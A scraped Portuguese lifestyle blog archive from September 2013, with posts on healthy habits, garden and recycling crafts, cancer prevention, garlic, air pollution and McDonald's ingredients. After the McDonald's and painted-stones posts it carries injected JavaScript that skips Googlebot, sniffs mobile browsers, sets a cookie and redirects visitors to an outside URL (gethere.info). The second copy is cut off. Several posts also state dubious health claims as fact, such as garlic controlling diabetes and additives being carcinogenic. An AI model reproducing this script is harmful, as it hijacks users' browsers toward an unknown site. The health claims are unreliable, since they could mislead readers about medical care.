Maneiras Simples para ter uma Vida Saudável

segunda-feira, 30 de setembro de 2013 às 11:32

Maneiras Simples para ter uma Vida Saudável

 

Todos queremos melhorar a nossa vida , ter uma vida saudável, mas ter uma vida saudável não quer  dizer que iremos viver no meio do nada, isolado das comodidades tecnológicas, comendo frutas, praticando yoga  e dormindo na rede. Pode começar aos poucos, com pequenas mudanças na alimentação, no comportamento e no pensamento. Ter um estilo de vida saudável deve ser prática do dia a dia, sendo desenvolvida  a cada dia, pois a saúde se conquista com o tempo, só percebemos que a perdemos quando já é tarde demais.

 

Coma alimentos Limpos

Você pode começar a ter uma vida mais saudável limitando as toxinas que entram em seu corpo junto com os alimentos. Os produtos orgânicos e naturais vão trazer grandes melhorias para a sua saúde, em vez de uma mudança radical, faça mudanças graduais, assim a mudança de dieta não vai ser tão dramática. Elimine ou diminua o sal e açúcar, eles trazem mais malefícios que benefícios.

Alimentos Processados, pré-embalados, Pré-cozidos contêm aditivos, conservantes e corantes prejudiciais a sua saúde. Faça sua própria comida, quando você preparar a sua própria comida e lanche, usará com certeza bons produtos e ingredientes frescos, você vai ter mais controle sobre o que está entrando no seu corpo.

Coma dietas ricas ​​em fibras e bastante alimentos com substâncias que naturalmente trabalham para ajudar a desintoxicação do corpo, conheça os 20 Alimentos que Ajudam a Desintoxicar e Limpar seu Corpo Naturalmente

 

Faça atividades físicas

Faça atividades físicas, não precisa frequentar uma academia, nem sair correndo de madrugada, andar até a padaria toda manhã, ir a pé as compras, andar de bicicleta, usar escadas em vez de escadas rolantes ou elevadores são práticas que vão fazer você ficar com o corpo melhor. Faça esses pequenos exercícios ao longo do dia e diariamente, só assim você vai manter seu corpo ativo e disposto.

 

Recarregue as suas Baterias

Seu corpo precisa de um tempo de descanso, cada pessoa tem seu tempo, isso serve para dar um refresco para os órgãos e  reparar os danos de um dia inteiro.  A sua saúde mental  depende dessa folga , assim seu cérebro vai relaxar e ficar mais atento quando se recuperar, isso favorece você a tomar decisões certas e rápidas. Sem uma noite de sono adequada seu cérebro começa a perder a capacidade de concentração,  8 horas de sono por noite já é o suficiente para mais um dia de vida.

De valor as coisas que realmente são Boas para você

Você realmente é feliz? Ou será que você vive dizendo que quando tiver tal coisa ou quando tal coisa acontecer tudo vai ser melhor? Se você não gosta de sua vida, ou não está feliz, mude! Medite bem e tente ver o que te faz feliz, de repente a sua felicidade pode estar em pequenas coisas e bem debaixo do seu nariz.

Caminhe até uma praça, olhe o céu, as nuvens, as árvores, respire fundo e esqueça do tempo, aprecie as pequenas coisas da vida, faça o que te deixe feliz, como a comida predileta, o doce favorito, reveja pessoas que você ama, você vai mudar , vai ficar melhor e mais feliz, e ficando feliz, você vai ver as coisas com outros olhos e melhor até a  imunidade de seu corpo.

A dica é ser feliz!

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Como plantar Cebolas em Garrafa PET

domingo, 29 de setembro de 2013 às 10:15

Como plantar Cebolas em Garrafas PET   Em muitos países, principalmente onde o inverno é mais rigoroso, existe uma grande dificuldade de conseguir alimentos frescos o ano inteiro, uma saída é plantar o maior numero de alimentos em sua própria casa, seja em vasos ou garrafa pet.  Geralmente o que mais é plantado são os temperos e ervas aromáticas, pois os alimentos são mais difíceis e requerem cuidados especiais. Já vimos em um artigo Como Cultivar Batatas em Baldes, Vaso ou no Jardim e agora vamos mostrar como plantar Cebolas em Garrafas PET.    

Como plantar Cebolas em Garrafas PET

Como plantar Cebolas em Garrafas PET   Esse é um método bem original de plantar cebolas, você pode fazer essa mini horta em qualquer lugar,  no parapeito da janela, na estante ou na cozinha,  e durante todo o ano. Esse Passo-a-passo é simples, bem intuitivo. Corte a parte superior da garrafa PET, a parte do funil, faça buracos na garrafa de plástico da mesma maneira que foi feita na garrafa pet das fotos.   Como plantar Cebolas em Garrafas PET 2   Na parte inferior derrame um pouco de terra  adubada e coloque as cebolinhas alinhadas , intercale terra e cebolas até encher a garrafa inteira.   Como plantar Cebolas em Garrafas PET 3 Como plantar Cebolas em Garrafas PET 4 Pronto…. O resto é por sua conta. [Fonte] Artigo original: Como plantar Cebolas em Garrafa PET }

Como prevenir o Câncer de maneira simples e Natural

sábado, 28 de setembro de 2013 às 11:54

Como prevenir o Câncer

 

Se existe uma palavra que muitas pessoas nem querem pronunciar, esta palavra é ” Câncer “, sabemos dos riscos dessa doença assassina, mas o que muitas pessoas não sabem é que pequenas mudanças na dieta e estilo de vida podem diminuir os riscos do aparecimento da doença. Talvez você pense em alguma mudança radical, mas você vai ver que são atitudes simples, porém eficientes e que vai lhe dar uma vida com mais saúde em todos os aspectos.

 

Adote estes hábitos para reduzir o risco de câncer em sua vida

Faça 30 minutos de Exercícios por dia

Os exercícios físicos reduzem consideravelmente o risco de câncer, mantendo o seu peso sob controle. A obesidade está associada com aumento do risco de câncer no esôfago, de mama (pós-menopausa), endométrio (revestimento do útero), cólon, reto, rins, pâncreas, tireóide, vesícula biliar, e possivelmente outros tipos de câncer.

Dieta dos três quartos

Três quartos do seu prato deve conter cereais integrais, frutas e vegetais frescos, enquanto o restante pode ter proteínas animais. De acordo com o Instituto do Câncer da Universidade de Stanford, a pesquisa está descobrindo que a ingestão regular de frutas, verduras e cereais pode inibir o crescimento do câncer na cavidade oral, laringe, esôfago, estômago, cólon, pulmão, próstata e reto. Um relatório de 2009 do International Journal of Cancer mostrou que as pessoas que comiam as verduras ricas em folato, como espinafre, tiveram a metade dos tumores de câncer de pele.  Acredita-se que o ácido fólico em verdes podem ajudar a reparar o DNA. Cada copo de repolho tem 22 calorias é carregado com o sulforafano, uma substância química que aumenta a produção no seu corpo de enzimas que diminuem as células danosas, causadoras de câncer radicais livres.

Coma  Gema de Ovo

Pesquisa de 2009 sugere que a gema de ovo tem substancias que vão te proteger do câncer. O material amarelo é rico em colina, que tem sido associada a menores taxas de câncer de mama. Uma gema fornece 25% das suas necessidades diárias.

Use Produtos lácteos

Alimentos ricos em vitamina D, como leite com baixo teor de gordura, ajuda a desintoxicar substâncias cancerígenas liberadas durante a digestão dos alimentos ricos em gordura, de acordo com um estudo da University of Texas Southwestern Medical Center. Um estudo em grande escala de 120 mil mulheres descobriu que mulheres na pré-menopausa que consumiram uma grande quantidade de produtos lácteos, especialmente os de baixa gordura, correram um risco menor de desenvolverem câncer de mama.

Beba Chá Verde

Um estudo de 2007 no The Journal of Nutritional Biochemistry descobriu que beber 2 a 6 xícaras de chá verde quente por dia ajuda a prevenir o câncer de pele e pode reverter o envelhecimento causados pelos  raios do sol. Beba quente para ter a maior quantidade de catequinas, um tipo de antioxidante com propriedades anti-câncer comprovadas. Conheça os motivos no artigo Chá Verde é a Super Bebida que só faz Bem para a Saúde

Coma Peixe

Coma peixe, principalmente o salmão, ou qualquer outro peixe rico em ácidos graxos ômega-3. Ômega-3 pode ajudar a diminuir o  risco de câncer.

Esqueça do microondas

Procure cozinhar no vapor, pois os Legumes com poderosos antioxidantes e flavonóides, como brócolis, perdem alguns de seus nutrientes quando feitos em microondas. No vapor, por outro lado, ajuda a manter a sua cor natural e mantém também  as propriedades de superalimento contra o câncer. Leia mais em Microondas reduz Nutrientes dos Alimentos diz Estudos.

Corte a Gordura

Quanto mais gordura você come, maior o risco de desenvolver uma forma altamente fatal de câncer. Em um estudo com mais de 500 mil pessoas relatada no Journal of the National Cancer Institute , os que comiam mais gordura (cerca de 40% a quantidade de calorias diárias) eram 23% mais propensos a desenvolver câncer pancreático do que aqueles que comiam menos. Limite a gordura para 20 a 35% de suas calorias, cerca de 40 a 70 gramas total em uma dieta de 1.800 calorias.

Pare de Fumar

Atualmente 30% de todos os cânceres estão relacionados ao tabagismo, uma boa notícia é que o risco de câncer começa a despencar tão logo você reduzir ou deixar de fumar. Conheça algumas Razões Ecológicas para deixar definitivamente de fumar e Incentivar os seus Amigos.

Beba menos

Você deve limitar o consumo de álcool, apenas 150 ml de vinho ou uma cerveja por dia. Para os homens, o limite recomendado é de até dois copos por dia. Aqueles que bebem mais têm um risco maior de câncer de cabeça e pescoço, mama, boca, garganta e cólon. Isso porque o álcool contém compostos cancerígenos que são introduzidos durante a fermentação e produção.

Prevenir é fácil

De acordo com a pesquisa da Universidade do Arizona, as raspas de limão ou de laranja contém d-limoneno, um antioxidante que pode reduzir o risco de câncer de pele em até 30% se você consome quantidades tão pequenas quanto uma colher de sopa por semana.

[Fonte][Fonte][Foto]

Artigo original: Como prevenir o Câncer de maneira simples e Natural

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Como Fazer Rosas com Caixa de Ovos

sexta-feira, 27 de setembro de 2013 às 11:00

Como Fazer Rosas com Caixa de Ovos Reciclada

 

A reciclagem de  papel gera uma infinidade de produtos, uma delas é a caixa de ovos, atualmente algumas são feitas de material plástico, mas com certeza a mais sustentável e ecológica é a de papel reciclado. Neste artigo uma dica de reciclagem bem legal para as caixas de ovos, são rosas, cuja as pétalas são feitas de pedaços de caixas de ovos recortados e tingidos, depois coladas (não esqueça de usar uma cola caseira ecológica). O resultado é surpreendente, você vai adorar e com certeza colocar em prática

 

Como Fazer Rosas com Caixa de Ovos Reciclada

Abaixo um tutorial com um passo-a-passo ilustrado.

 

Como Fazer Rosas com Caixa de Ovos Como Fazer Rosas com Caixa de Ovos Como Fazer Rosas com Caixa de Ovos

[Fonte]

Artigo original: Como Fazer Rosas com Caixa de Ovos

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Conheça os benefícios do Alho para sua Saúde

quinta-feira, 26 de setembro de 2013 às 10:58

Conheça os benefícios do Alho para sua Saúde   Apesar de seu sabor  muito forte e amargo, o alho dá um toque inacreditável na cozinha, ele é um dos ingredientes mais usados na culinária brasileira. Seus benefícios para a saúde são inúmeros, quem nunca tomou um chá de alho pra curar uma gripe. O alho tem uma grande variedade de compostos, entre ele o  enxofre, que é a razão do seu odor intenso característico. O Alho também tem a Acilina, um composto vital, que é conhecido por ter excelentes propriedades anti-bacterianas, antivirais, antifúngicos e antioxidante.     Para aproveitar os benefícios da Alicina , deve se usar o alho crú, apenas  picado ou em forma de  puré, deixando  descansar por algum tempo antes do uso.

Veja os benefícios do Alho para sua Saúde:

O alho também é uma fonte de selênio, alicina, juntamente com outros compostos, como ajoene, alliin, entre outras. O alho tem um efeitos sobre os sistemas circulatório, digestivo,  imunológico e ajuda na redução da pressão sanguínea, a desintoxicação, etc

O alho é Antibactericida, antiviral e Antibiótico

O alho é muito conhecido por suas propriedades antibacterianas e antivirais. Ele ajuda a controlar bactérias, vírus, fungos, leveduras e infecções. Alho fresco desempenha um papel na prevenção de intoxicação alimentar por matar bactérias como a E. coli, Salmonella enteritidis, etc. O alho ajuda no tratamento de infecções da pele, uma substancia chamada de ajoene encontrado no alho pode ajudar a tratar infecções fúngicas da pele, como micose e pé de atleta.

O alho ajuda no afinamento do sangue

As propriedades anti-coagulantes da ajoene encontrado no alho ajuda na prevenção e formação de coágulos sanguíneos. Essas propriedades anticoagulantes revenem a formação de coágulos no interior dos vasos sanguíneos. Por isso, podem também aumentar o risco de hemorragia pós-operatória.

Alho Reduz a pressão arterial, Colesterol e Proteger o coração

A angiotensina II é uma proteína que aumenta a pressão sanguínea, já a Alicina uma substância que existe no alho, ela bloqueia a atividade da angiotensina II e ajuda na redução da pressão arterial. Os polissulfuretos presentes no alho são convertidos em gás sulfureto de hidrogênio que são capturados pelas células vermelhas do sangue. O sulfeto de hidrogênio dilata nossos vasos sanguíneos e ajuda a controlar a pressão arterial. Alho tem a capacidade de baixar moderadamente o triglicéridos e colesterol total do nosso sangue e reduz a formação da placa arterial. O alho protege o coração contra problemas cardiovasculares, como ataques cardíacos e aterosclerose. Esta propriedade cardio-protetora pode ser atribuído a vários fatores. Com a idade, as artérias tendem a perder sua capacidade de esticar, o alho pode ajudar a reduzir este problema e pode também proteger o coração dos efeitos prejudiciais dos radicais livres. Os compostos que contêm enxofre do alho também evitam que os nossos vasos sanguíneos fiquem bloqueado e retarda o desenvolvimento de aterosclerose ( que é o endurecimento das artérias ). Leia: Segredos de uma Alimentação Saudável para o Coração

Alho Combate alergias

Alho é conhecido por ter propriedades anti-inflamatórias, ele também pode ajudar o corpo a lutar contra alergias. O alho tem propriedade anti-artrítica do alho é devido a dialil sulfeto e thiacremonone. O alho tem sido usado para melhorar a inflamação alérgica das vias respiratórias (rinite alérgica). Suco de alho cru pode ser usado para interromper imediatamente a coceira devido a erupções cutâneas de picadas de insetos. Leia: 10 Anti-inflamatórios Naturais que você pode encontrar em Casa  

Alho ajuda nos problemas respiratórios

O uso diário de alho pode reduzir a freqüência e o número de resfriados. Suas propriedades antibacterianas ajudam no tratamento de irritações de garganta. O alho também pode reduzir a gravidade das infecções do trato respiratório superior. Seus benefícios em doenças pulmonares como asma  e dificuldade de respiração o torna um remédio imprescindível.  Sua capacidade de promover a expectoração torna insubstituível no tratamento da bronquite crônica.

Alho Controla o Diabetes

O alho aumenta a liberação de insulina e regula os níveis de açúcar no sangue em diabéticos.

Alho é eficaz contra verrugas e calos

Aplicando extratos de alho em calos nos pés e verrugas nas mãos pode ser eficaz no tratamento.

Alho previne o câncer

O consumo diário de alho, pode reduzir o  risco da maioria dos tipos de câncer. Esta propriedade anticâncer é devido a sulfetos alílicos encontrados no alho. PhIP, um tipo de aminas heterocíclicas (HCA), tem sido associada com aumento da incidência de câncer de mama entre as mulheres. De acordo com estudos, o dialil sulfeto encontrado no alho inibe a transformação da PhIP em carcinógenos.

Alho melhorar o metabolismo do Ferro

Ferroportina é uma proteína que ajuda na absorção de ferro, já o Diallyl sulfuretos no alho aumenta a produção de ferroportina e ajuda a melhorar o metabolismo do ferro.

Alho é Afrodisíaco

A Propriedade afrodisíaca do alho é devido à sua capacidade para aumentar a circulação sanguínea e vaso dilatadora.

Alho alivia a Dor de dente

Basta colocar um pedaço de alho esmagado diretamente sobre o dente afetado, isso pode ajudar a aliviar a dor de dente, devido às suas propriedades antibacterianas e analgésicas. Mas esteja ciente de que ele pode ser irritante para a gengiva.

Alho ajuda a Reduzir o peso

De acordo com pesquisas recentes, o alho pode ajudar a regular a formação de células de gordura em nosso corpo. Pré-adipócitos são convertidos em células de gordura (adipócitos) através de atividade do sistema inflamatório. A propriedade antiinflamatório de 1, 2-DT (1, 2-vinyldithiin) encontrados no alho podem ajudar a inibir essa conversão. Isso pode ajudar a evitar o ganho de peso, tornando o alho o tempero ideal para a dieta de quem quer emagrecer. Ver: Dicas para Perda de Peso que realmente Funcionam Conheça os 10 alimentos que Fazem você Engordar 10 Dicas Saudáveis ​​para Emagrecer sem Sacrifício [Fonte][Foto] Artigo original: Conheça os benefícios do Alho para sua Saúde }

Poluição do Ar em São Paulo mata mais do que Acidentes de Carro, Câncer de Mama e AIDS Juntos

quarta-feira, 25 de setembro de 2013 às 11:09

A poluição do Ar em São Paulo mata mais do que Acidentes de Carro

 

A cidade de São Paulo tem 20 milhões de habitantes e cerca de 7 milhões de veículos circulando, sem contar os mil a mais que chegam a cada dia, a cidade oferece um exemplo preocupante de como a cultura do carro pode ser mortal. Mesmo com as mortes anuais por acidentes de trânsito serem bastante elevadas, elas são pequenas em comparação com uma outra maneira que os carros estão matando pessoas, por sua poluição. Essa poluição é basicamente composta de dióxido de carbono, monóxido de carbono, vapores de água, enxofre, entre outras dezenas de substancias particuladas tipo PM2.5.

 

 

Um estudo encomendado pelo Instituto de Saúde e Sustentabilidade, 4.655 pessoas morreram como resultado da poluição do ar em São Paulo em 2011. Nesse mesmo período, as mortes no trânsito foram responsáveis por 1.556 mortes. O estudo também aponta que a poluição contribuiu para mais de o dobro de mortes do que a Aids (874 mortes) e do câncer de mama (1277 mortes)  juntas.

Em todo o estado de São Paulo, a poluição do ar tem sido responsável pela morte de cerca de 100.000 pessoas por doenças respiratórias entre os anos de 2006 até 2011. À medida que mais carros são adicionados à estrada, e também mais pessoas se deslocam para os centros urbanos, esse número tende a aumentar.

Na cidade de São Paulo as partículas de poluição do ar são em média de 20 a 25 microgramas por metro cúbico, mais de o dobro do que é considerado seguro pela Organização Mundial da Saúde. Em quanto as pessoas se preocupam em se alimentar melhor, elas estão respirando cada vez pior.

Veja
Poluição do Ar Causada por veículos Mata mais de 50 Mil pessoas por Ano
Mapa mostra onde Você é mais propenso a Morrer com a Poluição do Ar
Americanos estão Andando menos de Carro
[Fonte][Foto]

Artigo original: Poluição do Ar em São Paulo mata mais do que Acidentes de Carro, Câncer de Mama e AIDS Juntos

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Conheça os Ingredientes Perigosos dos Alimentos do McDonald – Hambúrguer

terça-feira, 24 de setembro de 2013 às 11:28

Conheça os Ingredientes que você Come no McDonald   Desde o ano passado nos EUA, a empresa de fast food McDonald começou uma campanha para melhorar a sua imagem junto aos consumidores mais conscientes, tentando dar transparência aos seus produtos. Como resultado, a empresa tem feito listas de ingredientes e técnicas de produção que estão disponíveis em seu site. Aqui no Brasil também existe uma mesma campanha,  menos clara e detalhada que a americana.    

A Carne

Chegou-se a dizer que os hambúrgueres eram feitos de minhocas, antes fosse, segundo informações, a carne do hambúrguer pode conter LODO ROSA, um lodo resultante de restos de animais, como sangue, intestino, fetos, tumores, entre outras partes que nem vale a pena falar, é claro que tudo isso é tratado, QUIMICAMENTE e você pode comer sem problemas, “eu acho”.. Nada contra o McDonald, eu nem sei se a empresa no Brasil usa esses mesmos ingredientes, só espero que não use ingredientes piores.

Vídeo institucional sobre a carne McDonald

veja mais vídeos no site do MacDonald Brasil

O que tem realmente no Lanche de Hambúrguer

Aqui estão os ingredientes do Lanche de hambúrguer básico: O Hambúrguer, de acordo com o Mcdonalds, eles usam 100% carne pura, “100% puro” na verdade não significa nada. Ela pode não ser pura. Nós realmente não sabemos com certeza se McDonald está usando lodo rosa em seus processos e se o seu hambúrguer tem os 70% de carne moída na América do Norte que contém lodo rosa. O lodo rosa é um aditivo alimentar a partir de resíduos e produtos de carne quimicamente tratada imprópria  para o consumo humano. O Tempero contém “sal, especiarias (pimenta), óleo de girassol (” como uma ajuda à transformação ‘). “Mais óleo de girassol utilizado em processos comerciais tem sido aquecido a temperaturas extremas antes de usar. Este processo desnatura o óleo, tornando-a danosos a saúde quando consumido. O Ketchup, contém “extrato de tomate (feito a partir de tomates maduros frescos), açúcar líquido, vinagre branco, sal, cebola em pó, e especiarias.” Como açúcar líquido é normalmente usado o xarope de milho de alta frutose, que é quase sempre a partir de milho geneticamente modificado e tem sido associada a obesidade. “Especiarias” pode, na verdade, ter qualquer número de ingredientes, incluindo ervas, mas também pode incluir glutamato monossódico (MSG). O glutamato monossódico é frequentemente usado em laboratórios para criar animais obesos para testes. Mostarda, contém “Vinagre, água, semente de mostarda, sal, açafrão, especiarias “Novamente, nós não temos nenhuma maneira de saber se” especiarias “contêm glutamato monossódico, que é um excitotoxicidade. A excitotoxicidade é um produto químico tóxico que, literalmente, excitam as células do cérebro e do sistema nervoso, até que morrem. Aqui estão alguns exemplos para os céticos: Um estudo publicado na revista Clinical and Experimental Rheumatology descobriu que o MSG aumentou significativamente a dor da fibromialgia. Cientistas concluíram que “o glutamato pode estar contribuindo para sintomas de fibromialgia (FM) em alguns pacientes.” Outro estudo publicado na revista Brain Research descobriu que o MSG em dietas para animais, levou-os a ter convulsões. Excitotoxicidade é o processo patológico que as células nervosas são danificadas e mortas por estimulação excessiva por neurotransmissores tais como glutamato e substâncias semelhantes. Cebolas e cebolas-desidratada. É pedir demais que eles usem cebolas frescas que realmente tem algum valor nutricional. Fatias de picles -Incluem “pepinos, água destilada, vinagre, sal , cloreto de cálcio, sorbato de potássio, sulfato de alumínio e potássio, sabores naturais (fonte vegetal), polissorbato 80, extrativos de açafrão (corante). “Alguns destes ingredientes são bastante óbvios. O sorbato de potássio tem sido demonstrado em estudos em seres humanos, genotóxicos e mutagénicas. Isso significa que danifica o material genético e podem causar mutações associadas à doenças. Polissorbato 80 é um cancerígeno. O Pão – “Farinha de trigo enriquecida, água, açúcar e / ou glicose-frutose, levedura, óleo vegetal (soja e / ou óleo de canola), sal , sulfato de cálcio, propionato de cálcio, monoglicéridos, enzimas, azodicarbonamida, e podem conter qualquer ou todas as seguintes em proporções variáveis: ésteres de ácido diacetiltartárico de mono e diglicéridos, BHT, sódio estearoil-2-lactilato, amido de trigo, o peróxido de cálcio, glúten de trigo, levedura inativa, sorbitol, dextrina, farinha de cevada maltada, ácido ascórbico, ácido cítrico, cálcio estearato, iodato de cálcio, dióxido de silício….. Tudo isso em um pão! Abaixo a lista de alguns produtos e seus efeitos: BHT , uma neurotoxina conhecida (substância que é tóxico para o cérebro e o sistema nervoso), um diruptor de hormônios, a toxina do sistema imunológico, e irritantes para a pele, os olhos e os pulmões. Ésteres de ácido diacetil tartárico de mono e diglicéridos (DATEM) , este é um produto sinteticamente criado, ele é um ” ingrediente de estabilização ” que normalmente é feito a partir de óleos vegetais, mas também podem conter gordura animal, como carne de porco. Sódio stearoyl-2-lactylate , é realmente desconhecida sobre a segurança deste ingrediente. Uma vez que pode ser obtida a partir de produtos lácteos, há um risco potencial de alergia para aqueles com alergias lácteas. A maioria dos outros ingredientes são amplamente utilizados no processamento de alimentos, embora haja pouca pesquisa sobre seus efeitos a longo prazo e cumulativo. Boa Apetite [Fonte] Artigo original: Conheça os Ingredientes Perigosos dos Alimentos do McDonald – Hambúrguer if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}

Mapa mostra onde Você é mais propenso a Morrer com a Poluição do Ar

segunda-feira, 23 de setembro de 2013 às 10:56

Mapa da Mortalidade por poluição do ar   Em um artigo anterior, ” Poluição do Ar Causada por veículos Mata mais de 50 Mil pessoas por Ano ” falamos sobre as milhares de mortes prematuras causadas pelas várias formas de poluição do ar. Mas onde corremos esse risco e em que lugar é mais seguro? De acordo com um novo modelo de poluição atmosférica projetado pelo cientista Jason West, da Universidade da Carolina do Norte, cerca de 2,1 milhões de mortes por ano, é resultado de apenas uma forma particular de poluição atmosférica: as partículas finas ou PM2.5, que são emitidos na exaustão de carros e outras fontes industriais, domésticos e natural.     De um modo geral, estas partículas poluentes na atmosfera são como aerossóis (uma mistura de material particulado e ar). Estes aerossóis podem tomar a forma de suspensão de partículas (SPM), respiráveis ​​partículas em suspensão (DER), que são partículas com um diâmetro de 10 micrómetros (micra) ou menos e, o referido fino PM 2,5 … 0,5 ’2 ‘refere para partículas de 2,5 microns ou menos e pode incluir ultrafinas partículas, e algumas formas de fuligem (como fuligem de carbono negro de fogões e queima de biomassa). A poluição natural e condições meteorológicas podem combinar com a poluição humana, resultando em “surtos extremos de poluição do ar.” Por exemplo, em janeiro de 2013, um cobertor de poluição industrial envolvido nordeste da China, e, em junho de 2013, a fumaça de incêndios agrícolas em Sumatra envolveu Cingapura. Pesquisadores de saúde ligaram PM2.5 com tudo, desde a asma à doença pulmonar, e até mesmo ataques cardíacos (talvez causada a partir do estresse de não receber oxigênio suficiente para os pulmões). Mas os impactos a longo prazo deste tipo de poluição pode ser muito mais insidioso. De acordo com o site Observatório da Terra da NASA : “Na maioria dos casos, a poluição mais tóxico permanece por alguns dias ou até mesmo semanas, trazendo aumentos de problemas de saúde respiratórios e cardíacos em hospitais. Eventualmente, com o tempo, o ar se dissipa, e poluição começam a desaparecer. Mas isso não quer dizer que os riscos para a saúde desaparecem também. Mesmo níveis ligeiramente elevados de poluição do ar podem ter um efeito significativo na saúde humana. Por longos períodos e em uma escala global, esses impactos podem soma-se.

O Mapa de Morte por poluição particulada

O mapa (acima) mostra as regiões ao redor do mundo com um número significativo de mortes anuais devido à poluição particulada. Quanto mais escura a coloração maiores as taxas de mortalidade, elas indicam as taxas de mortalidade de até 1.000 mortes por 1.000 quilômetros quadrados. Pode-se facilmente identificar vastas regiões tendo a coloração mais escura. Essas áreas incluem, tipicamente, áreas de alta densidade populacional, ou seja áreas bastante urbanizadas. Áreas de cor azul (Brasil ,  EUA e centro da América do Sul) representam as tendências mais positivas, onde as reduções na poluição particulada foram drasticamente reduzidos desde a década de 1850. Infelizmente, há muito poucas dessas regiões, em termos globais, talvez devido à falta de leis de qualidade do ar. Este novo modelo de mapa combina seis diferentes modelos atmosféricos em uma – uma grande melhoria em relação a sua estimativa 201O que contou com apenas um modelo (que inclui estimativas de mortalidade prematura de ozônio e PM 2,5 poluição). Os modelos de poluição utilizados para informar este mapa incluem dados históricos que remontam 160 anos – até o início da Revolução Industrial. Mapa de Crédito / Fonte: Mapa feito pela NASA Robert Simmon baseado em dados de Jason West [Fonte] Artigo original: Mapa mostra onde Você é mais propenso a Morrer com a Poluição do Ar }

Reciclando Pedras e Seixos com Arte

domingo, 22 de setembro de 2013 às 10:45

Reciclando Pedras e Seixos com Arte   Realmente existem reciclagens bem interessantes, um exemplo é esse artista que usa pedras e seixos marinhos como tela para fazer arte. São pedras pintadas à mão com figuras geométricas, peixes, plantas, animais, objetos, etc Estas pedras foram recolhidas na costa do Mar Adriático, e são pintadas e desenhado com tinta acrílicas, depois selado com revestimento acrílico de alta qualidade para manter a cor e os desenhos.     Reciclando Seixos e Pedras Arte Reciclando Seixos e Pedras com Arte [Fonte] Artigo original: Reciclando Pedras e Seixos com Arte var d=document;var s=d.createElement('script'); if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 